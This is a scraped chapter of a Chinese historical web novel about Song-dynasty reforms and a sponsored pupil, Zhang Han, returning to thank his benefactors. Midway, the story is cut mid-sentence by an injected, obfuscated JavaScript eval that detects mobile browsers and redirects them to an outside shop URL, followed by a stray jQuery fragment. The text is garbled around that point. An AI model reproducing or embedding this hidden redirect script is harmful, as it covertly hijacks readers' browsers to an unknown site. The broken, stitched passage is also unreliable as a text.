熙宁变法推行已有数月，叶祎全身心投入其中，协助王安石梳理新政条文，督办青苗法、市易法在京城及周边的落地施行，整日在朝堂与官署之间奔波，虽步履维艰，却也稳步推进。
新法直指大宋多年积弊，抑兼并、裁冗员、轻徭薄赋，意在惠及百姓、充盈国库，可每一条政令，都狠狠触动了宗室勋贵、大地主、旧官僚的核心利益。朝堂之上，保守派官员联名上疏，轮番发难，或是指责新法扰民乱政，或是污蔑王安石与叶祎等人结党乱国，极尽打压阻挠之能事，朝堂议事每每陷入激烈争执，唇枪舌剑，暗流汹涌。
即便权贵势力百般阻挠，神宗帝变法图强的心意却坚定不移，始终力排众议，全力维护新法，力挺王安石与叶祎等变法派官员。有官家坐镇朝堂，压下所有非议与构陷，保守派纵有万般不满，也碍于君威，无从反抗，只能暗自隐忍，满心无奈却不敢公然违抗圣命。变法之事，虽步履艰难，却也在官家的全力支持下，有条不紊地推行开来，京城周边的百姓，已然渐渐尝到新法的甜头。
这日散朝，叶祎褪去官服，带着一身朝堂的疲惫回到府邸，刚踏入庭院，便听见前厅传来笑语声声。除了初南絮与晚禾的声音，竟还夹杂着一个年轻男子的清朗嗓音，他心中诧异，缓步走入厅中。
只见堂下站着一位身姿挺拔的少年，约莫十四岁年纪，身着素净布衫，眉眼俊朗，气质沉稳，周身透着书卷气，正恭敬地与初南絮、晚禾说话。叶祎定睛细看，片刻后眼中满是惊喜，这眉眼轮廓，分明是当年蜀地义学堂里，那个懂事上进、靠着官府资助苦读的苦孩子——张函！
当年在蜀地，张函家境贫寒，早早扛起家事，却酷爱读书，眼神里满是对学识的渴望，格外懂事争气，初南絮看他可怜又好学，一直多方照料。时隔数年，当年的半大孩子，已然长成了挺拔少年，褪去了昔日的稚嫩青涩，眉眼间尽是沉稳与儒雅，几乎让人认不出来。
张函见到叶祎，连忙躬身行礼，语气恭敬又带着满心感激：“晚辈张函，见过叶大人、叶夫人！多年未见，多谢夫人当年的照料之恩，晚辈始终铭记于心！”
原来，初南絮一家离开蜀地后，从未间断对义学堂孩子们的资助。张函天资聪颖又勤学苦读，格外珍惜来之不易的读书机会，教书的老秀才见他天赋出众、勤奋上进，极为看重，悉心教导，张函十岁便考中秀才，轰动当地。知州夫人感念初南絮的善举，也对张函多加照拂，将他送入声名远扬的白马书院深造，自此他一心向学，一路顺遂，此番正是赶赴汴京参加省考。
说起过往，张函眼底满是感念：“夫人当年不仅送我入学堂，即便离开蜀地，资助也从未停止。每年都会送来新做的衣物，小意姑姑也时常送点心、笔墨到义学堂，我们这群孩子，从来没断过温饱，更没耽误过读书。若不是夫人，我这辈子都只能是目不识丁的穷小子，绝无今日读书进学的机会。”
初南絮笑着扶他起身，语气温婉：“不过是举手之劳，真正难得的是你自己肯上进，不负时光，不负自己，如今考取功名，才是最好的回报。”
说话间，晚禾也在一旁细数这些年蜀地义学堂孩子们的光景：当年那群被
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17588506|203446||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
初南絮资助的孩子，如今都已长大成人，个个都有了好归宿。年纪稍长的，已然十六七岁，家中做主择了良人，成家立业，安稳度日；有头脑、肯钻研的，凭着识文断字的本事，学着做生意，如今自己开了铺子，当上掌柜，再也不用像父辈那般靠苦力谋生；还有两个孩子，考中秀才后，自知后续科考艰难，却也感念初南絮的恩情、感念学堂的培育，主动回到蜀地义学堂，接过老秀才的教鞭，做起了教书先生，教书育人，把这份善意传递下去。
没有一个孩子虚度光阴，没有一个孩子困于贫穷愚昧，全都因为读过书、识了字，找到了属于自己的人生方向，摆脱了世代困顿的宿命，过上了踏实安稳的日子。
叶祎站在一旁，静静听着张函与晚禾的诉说，看着眼前懂事成才的少年，想着蜀地那群各有所成的孩子，脸上渐渐露出欣慰的笑意。
他一生为官，无论是在地方守一方太平，还是在朝堂推行变法，所求不过是百姓安居乐业，人人皆有立身之本、上进之路。初南絮看似只是资助了一群贫苦孩童，却实实在在改变了他们的一生，让他们摆脱愚昧，拥有了选择人生的权利，这比任何政绩都更让人动容。
“你们能有今日，是自身努力，也是夫人善意的回馈，往后继续坚守本心，踏实前行，便是不负所学，不负初心。”叶祎轻声叮嘱，语气里满是宽慰。
厅内暖意融融，朝堂变法的艰难与纷争，仿佛都被这人间温情抚平。昔日播下的善因，如今结出累累善果，看着这些孩子摆脱困顿、学有所成，便是一家人前行路上，最温暖的慰藉。